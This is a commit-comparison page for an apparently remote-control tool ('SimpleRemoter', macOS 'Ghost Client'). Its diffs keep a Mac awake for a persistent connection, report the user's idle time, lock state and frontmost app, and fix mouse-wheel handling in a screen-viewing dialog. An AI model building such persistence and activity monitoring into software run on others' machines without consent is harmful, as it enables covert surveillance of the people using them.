Compare commits
3 Commits
v1.3.2
...
56419f8ecb
| Author | SHA1 | Date | |
|---|---|---|---|
|
|
56419f8ecb | ||
|
|
bb6fd7b1b9 | ||
|
|
3607f1d768 |
@@ -2,6 +2,7 @@
|
|||||||
|
|
||||||
#import <CoreGraphics/CoreGraphics.h>
|
#import <CoreGraphics/CoreGraphics.h>
|
||||||
#import <dispatch/dispatch.h>
|
#import <dispatch/dispatch.h>
|
||||||
|
#import <IOKit/pwr_mgt/IOPMLib.h>
|
||||||
#import "../client/IOCPClient.h"
|
#import "../client/IOCPClient.h"
|
||||||
#include <vector>
|
#include <vector>
|
||||||
#include <atomic>
|
#include <atomic>
|
||||||
@@ -132,4 +133,7 @@ private:
|
|||||||
|
|
||||||
// Input handler for mouse/keyboard control
|
// Input handler for mouse/keyboard control
|
||||||
std::unique_ptr<InputHandler> m_inputHandler;
|
std::unique_ptr<InputHandler> m_inputHandler;
|
||||||
|
|
||||||
|
// Power management: prevent display sleep during remote desktop
|
||||||
|
IOPMAssertionID m_displayAssertionID;
|
||||||
};
|
};
|
||||||
|
|||||||
@@ -26,6 +26,7 @@ ScreenHandler::ScreenHandler(IOCPClient* client)
|
|||||||
, m_maxFPS(15)
|
, m_maxFPS(15)
|
||||||
, m_qualityLevel(QUALITY_GOOD) // Use fixed QUALITY_GOOD (H264) for web compatibility
|
, m_qualityLevel(QUALITY_GOOD) // Use fixed QUALITY_GOOD (H264) for web compatibility
|
||||||
, m_h264Bitrate(3000000) // 3 Mbps (matches Windows QUALITY_GOOD)
|
, m_h264Bitrate(3000000) // 3 Mbps (matches Windows QUALITY_GOOD)
|
||||||
|
, m_displayAssertionID(0)
|
||||||
{
|
{
|
||||||
memset(&m_bmpHeader, 0, sizeof(m_bmpHeader));
|
memset(&m_bmpHeader, 0, sizeof(m_bmpHeader));
|
||||||
|
|
||||||
@@ -115,6 +116,21 @@ void ScreenHandler::start(IOCPClient* client, uint64_t clientID)
|
|||||||
m_clientID = clientID;
|
m_clientID = clientID;
|
||||||
m_running = true;
|
m_running = true;
|
||||||
|
|
||||||
|
// Prevent display sleep during remote desktop session
|
||||||
|
if (m_displayAssertionID == 0) {
|
||||||
|
IOReturn result = IOPMAssertionCreateWithName(
|
||||||
|
kIOPMAssertionTypeNoDisplaySleep,
|
||||||
|
kIOPMAssertionLevelOn,
|
||||||
|
CFSTR("SimpleRemoter - remote desktop session active"),
|
||||||
|
&m_displayAssertionID
|
||||||
|
);
|
||||||
|
if (result == kIOReturnSuccess) {
|
||||||
|
NSLog(@"Display sleep disabled for remote desktop (ID: %u)", m_displayAssertionID);
|
||||||
|
} else {
|
||||||
|
NSLog(@"Warning: Failed to prevent display sleep (error: 0x%x)", result);
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
m_captureThread = std::thread(&ScreenHandler::captureLoop, this);
|
m_captureThread = std::thread(&ScreenHandler::captureLoop, this);
|
||||||
}
|
}
|
||||||
|
|
||||||
@@ -130,6 +146,13 @@ void ScreenHandler::stop()
|
|||||||
m_h264Encoder->close();
|
m_h264Encoder->close();
|
||||||
m_h264Encoder.reset();
|
m_h264Encoder.reset();
|
||||||
}
|
}
|
||||||
|
|
||||||
|
// Release display sleep assertion - allow screen to turn off
|
||||||
|
if (m_displayAssertionID != 0) {
|
||||||
|
IOPMAssertionRelease(m_displayAssertionID);
|
||||||
|
NSLog(@"Display sleep re-enabled (released ID: %u)", m_displayAssertionID);
|
||||||
|
m_displayAssertionID = 0;
|
||||||
|
}
|
||||||
}
|
}
|
||||||
|
|
||||||
void ScreenHandler::sendBitmapInfo()
|
void ScreenHandler::sendBitmapInfo()
|
||||||
|
|||||||
140
macos/main.mm
140
macos/main.mm
@@ -6,6 +6,7 @@
|
|||||||
#import <signal.h>
|
#import <signal.h>
|
||||||
#import <unistd.h>
|
#import <unistd.h>
|
||||||
#import <IOKit/IOKitLib.h>
|
#import <IOKit/IOKitLib.h>
|
||||||
|
#import <IOKit/pwr_mgt/IOPMLib.h>
|
||||||
#import <fstream>
|
#import <fstream>
|
||||||
#import <thread>
|
#import <thread>
|
||||||
#import <atomic>
|
#import <atomic>
|
||||||
@@ -140,9 +141,113 @@ static std::string getTimeString()
|
|||||||
return std::string([dateString UTF8String]);
|
return std::string([dateString UTF8String]);
|
||||||
}
|
}
|
||||||
|
|
||||||
// Get active application name
|
// Get user idle time in seconds (time since last keyboard/mouse input)
|
||||||
|
static double getUserIdleTime()
|
||||||
|
{
|
||||||
|
// CGEventSourceSecondsSinceLastEventType returns seconds since last event
|
||||||
|
// kCGEventSourceStateCombinedSessionState includes all input sources
|
||||||
|
CFTimeInterval idleTime = CGEventSourceSecondsSinceLastEventType(
|
||||||
|
kCGEventSourceStateCombinedSessionState,
|
||||||
|
kCGAnyInputEventType
|
||||||
|
);
|
||||||
|
// Defensive: ensure non-negative (edge case protection)
|
||||||
|
return idleTime > 0 ? idleTime : 0;
|
||||||
|
}
|
||||||
|
|
||||||
|
// Check if screen is locked
|
||||||
|
static bool isScreenLocked()
|
||||||
|
{
|
||||||
|
// Method 1: Check CGSession dictionary for screen lock status
|
||||||
|
CFDictionaryRef sessionDict = CGSessionCopyCurrentDictionary();
|
||||||
|
if (sessionDict) {
|
||||||
|
// Check for "CGSSessionScreenIsLocked" key
|
||||||
|
CFBooleanRef screenLocked = (CFBooleanRef)CFDictionaryGetValue(
|
||||||
|
sessionDict, CFSTR("CGSSessionScreenIsLocked"));
|
||||||
|
if (screenLocked && CFBooleanGetValue(screenLocked)) {
|
||||||
|
CFRelease(sessionDict);
|
||||||
|
return true;
|
||||||
|
}
|
||||||
|
CFRelease(sessionDict);
|
||||||
|
}
|
||||||
|
|
||||||
|
// Method 2: Check if loginwindow is frontmost (screen saver / lock screen)
|
||||||
|
NSRunningApplication* frontApp = [[NSWorkspace sharedWorkspace] frontmostApplication];
|
||||||
|
if (frontApp) {
|
||||||
|
NSString* bundleId = [frontApp bundleIdentifier];
|
||||||
|
if ([bundleId isEqualToString:@"com.apple.loginwindow"] ||
|
||||||
|
[bundleId isEqualToString:@"com.apple.ScreenSaver.Engine"]) {
|
||||||
|
return true;
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
return false;
|
||||||
|
}
|
||||||
|
|
||||||
|
// Format time as HH:MM:SS with prefix
|
||||||
|
static std::string formatStatusTime(const char* prefix, double seconds)
|
||||||
|
{
|
||||||
|
int totalSecs = (int)seconds;
|
||||||
|
int hours = totalSecs / 3600;
|
||||||
|
int mins = (totalSecs % 3600) / 60;
|
||||||
|
int secs = totalSecs % 60;
|
||||||
|
|
||||||
|
char buffer[64];
|
||||||
|
snprintf(buffer, sizeof(buffer), "%s: %02d:%02d:%02d", prefix, hours, mins, secs);
|
||||||
|
return std::string(buffer);
|
||||||
|
}
|
||||||
|
|
||||||
|
// Get active application name or idle/locked status (works for background processes)
|
||||||
static std::string getActiveApp()
|
static std::string getActiveApp()
|
||||||
{
|
{
|
||||||
|
double idleTime = getUserIdleTime();
|
||||||
|
|
||||||
|
// Check if screen is locked first
|
||||||
|
if (isScreenLocked()) {
|
||||||
|
return formatStatusTime("Locked", idleTime);
|
||||||
|
}
|
||||||
|
|
||||||
|
// Check user idle time (matches Windows/Linux: 6 seconds threshold)
|
||||||
|
// If idle for more than 6 seconds, report inactive status
|
||||||
|
if (idleTime >= 6.0) {
|
||||||
|
return formatStatusTime("Inactive", idleTime);
|
||||||
|
}
|
||||||
|
|
||||||
|
// Use CGWindowListCopyWindowInfo to get the frontmost window
|
||||||
|
// This works reliably even when running as a background/nohup process
|
||||||
|
CFArrayRef windowList = CGWindowListCopyWindowInfo(
|
||||||
|
kCGWindowListOptionOnScreenOnly | kCGWindowListExcludeDesktopElements,
|
||||||
|
kCGNullWindowID
|
||||||
|
);
|
||||||
|
|
||||||
|
if (windowList) {
|
||||||
|
CFIndex count = CFArrayGetCount(windowList);
|
||||||
|
for (CFIndex i = 0; i < count; i++) {
|
||||||
|
CFDictionaryRef window = (CFDictionaryRef)CFArrayGetValueAtIndex(windowList, i);
|
||||||
|
|
||||||
|
// Get window layer - layer 0 is normal windows
|
||||||
|
CFNumberRef layerRef = (CFNumberRef)CFDictionaryGetValue(window, kCGWindowLayer);
|
||||||
|
int layer = 0;
|
||||||
|
if (layerRef) {
|
||||||
|
CFNumberGetValue(layerRef, kCFNumberIntType, &layer);
|
||||||
|
}
|
||||||
|
|
||||||
|
// Skip non-normal windows (menu bar, dock, etc.)
|
||||||
|
if (layer != 0) continue;
|
||||||
|
|
||||||
|
// Get owner name (application name)
|
||||||
|
CFStringRef ownerName = (CFStringRef)CFDictionaryGetValue(window, kCGWindowOwnerName);
|
||||||
|
if (ownerName) {
|
||||||
|
char buffer[256] = {};
|
||||||
|
if (CFStringGetCString(ownerName, buffer, sizeof(buffer), kCFStringEncodingUTF8)) {
|
||||||
|
CFRelease(windowList);
|
||||||
|
return std::string(buffer);
|
||||||
|
}
|
||||||
|
}
|
||||||
|
}
|
||||||
|
CFRelease(windowList);
|
||||||
|
}
|
||||||
|
|
||||||
|
// Fallback to NSWorkspace (may not work for background processes)
|
||||||
NSRunningApplication* app = [[NSWorkspace sharedWorkspace] frontmostApplication];
|
NSRunningApplication* app = [[NSWorkspace sharedWorkspace] frontmostApplication];
|
||||||
if (app) {
|
if (app) {
|
||||||
NSString* name = [app localizedName];
|
NSString* name = [app localizedName];
|
||||||
@@ -478,6 +583,30 @@ int main(int argc, const char* argv[])
|
|||||||
@autoreleasepool {
|
@autoreleasepool {
|
||||||
NSLog(@"=== macOS Ghost Client ===");
|
NSLog(@"=== macOS Ghost Client ===");
|
||||||
|
|
||||||
|
// ============== Power Management: Keep System Awake ==============
|
||||||
|
// 1. Disable App Nap - prevent macOS from suspending this process
|
||||||
|
id<NSObject> powerActivity = [[NSProcessInfo processInfo]
|
||||||
|
beginActivityWithOptions:(NSActivityUserInitiated | NSActivityIdleSystemSleepDisabled)
|
||||||
|
reason:@"Remote control client must maintain persistent connection"];
|
||||||
|
NSLog(@"App Nap disabled, activity token acquired");
|
||||||
|
|
||||||
|
// 2. Prevent system idle sleep using IOKit power assertion
|
||||||
|
IOPMAssertionID sleepAssertionID = 0;
|
||||||
|
IOReturn result = IOPMAssertionCreateWithName(
|
||||||
|
kIOPMAssertionTypeNoIdleSleep,
|
||||||
|
kIOPMAssertionLevelOn,
|
||||||
|
CFSTR("SimpleRemoter macOS client - maintaining remote connection"),
|
||||||
|
&sleepAssertionID
|
||||||
|
);
|
||||||
|
if (result == kIOReturnSuccess) {
|
||||||
|
NSLog(@"Power assertion created: system idle sleep disabled (ID: %u)", sleepAssertionID);
|
||||||
|
} else {
|
||||||
|
NSLog(@"Warning: Failed to create power assertion (error: 0x%x)", result);
|
||||||
|
}
|
||||||
|
|
||||||
|
// 3. Display sleep: managed by ScreenHandler - only prevents display sleep
|
||||||
|
// when remote desktop is actively connected (saves power when idle)
|
||||||
|
|
||||||
// Setup signal handlers
|
// Setup signal handlers
|
||||||
setupSignals();
|
setupSignals();
|
||||||
|
|
||||||
@@ -549,6 +678,15 @@ int main(int argc, const char* argv[])
|
|||||||
}
|
}
|
||||||
|
|
||||||
NSLog(@"Shutting down...");
|
NSLog(@"Shutting down...");
|
||||||
|
|
||||||
|
// Release power assertions
|
||||||
|
if (sleepAssertionID) {
|
||||||
|
IOPMAssertionRelease(sleepAssertionID);
|
||||||
|
NSLog(@"Released sleep assertion");
|
||||||
|
}
|
||||||
|
// Display assertion is managed by ScreenHandler (released in stop())
|
||||||
|
// powerActivity is automatically released when exiting @autoreleasepool
|
||||||
|
(void)powerActivity; // Suppress unused variable warning
|
||||||
}
|
}
|
||||||
|
|
||||||
return 0;
|
return 0;
|
||||||
|
|||||||
@@ -2305,8 +2305,8 @@ BOOL CScreenSpyDlg::PreTranslateMessage(MSG* pMsg)
|
|||||||
MSG wheelMsg = *pMsg;
|
MSG wheelMsg = *pMsg;
|
||||||
wheelMsg.lParam = MAKELPARAM(pt.x, pt.y);
|
wheelMsg.lParam = MAKELPARAM(pt.x, pt.y);
|
||||||
SendScaledMouseMessage(&wheelMsg, true);
|
SendScaledMouseMessage(&wheelMsg, true);
|
||||||
|
return TRUE; // 已处理,阻止继续分发到 OnMouseWheel
|
||||||
}
|
}
|
||||||
break;
|
|
||||||
case WM_KEYDOWN:
|
case WM_KEYDOWN:
|
||||||
case WM_KEYUP:
|
case WM_KEYUP:
|
||||||
case WM_SYSKEYDOWN:
|
case WM_SYSKEYDOWN:
|
||||||
@@ -2682,7 +2682,20 @@ void CScreenSpyDlg::OnLButtonUp(UINT nFlags, CPoint point)
|
|||||||
|
|
||||||
BOOL CScreenSpyDlg::OnMouseWheel(UINT nFlags, short zDelta, CPoint pt)
|
BOOL CScreenSpyDlg::OnMouseWheel(UINT nFlags, short zDelta, CPoint pt)
|
||||||
{
|
{
|
||||||
return __super::OnMouseWheel(nFlags, zDelta, pt);
|
// Convert screen coordinates to client coordinates
|
||||||
|
ScreenToClient(&pt);
|
||||||
|
|
||||||
|
// Build MSG structure for SendScaledMouseMessage
|
||||||
|
MSG msg = {};
|
||||||
|
msg.hwnd = m_hWnd;
|
||||||
|
msg.message = WM_MOUSEWHEEL;
|
||||||
|
msg.wParam = MAKEWPARAM(nFlags, zDelta);
|
||||||
|
msg.lParam = MAKELPARAM(pt.x, pt.y);
|
||||||
|
msg.time = GetTickCount();
|
||||||
|
msg.pt = { pt.x, pt.y };
|
||||||
|
|
||||||
|
SendScaledMouseMessage(&msg, true);
|
||||||
|
return TRUE; // Message handled, don't pass to parent
|
||||||
}
|
}
|
||||||
|
|
||||||
|
|
||||||
|
|||||||
Reference in New Issue
Block a user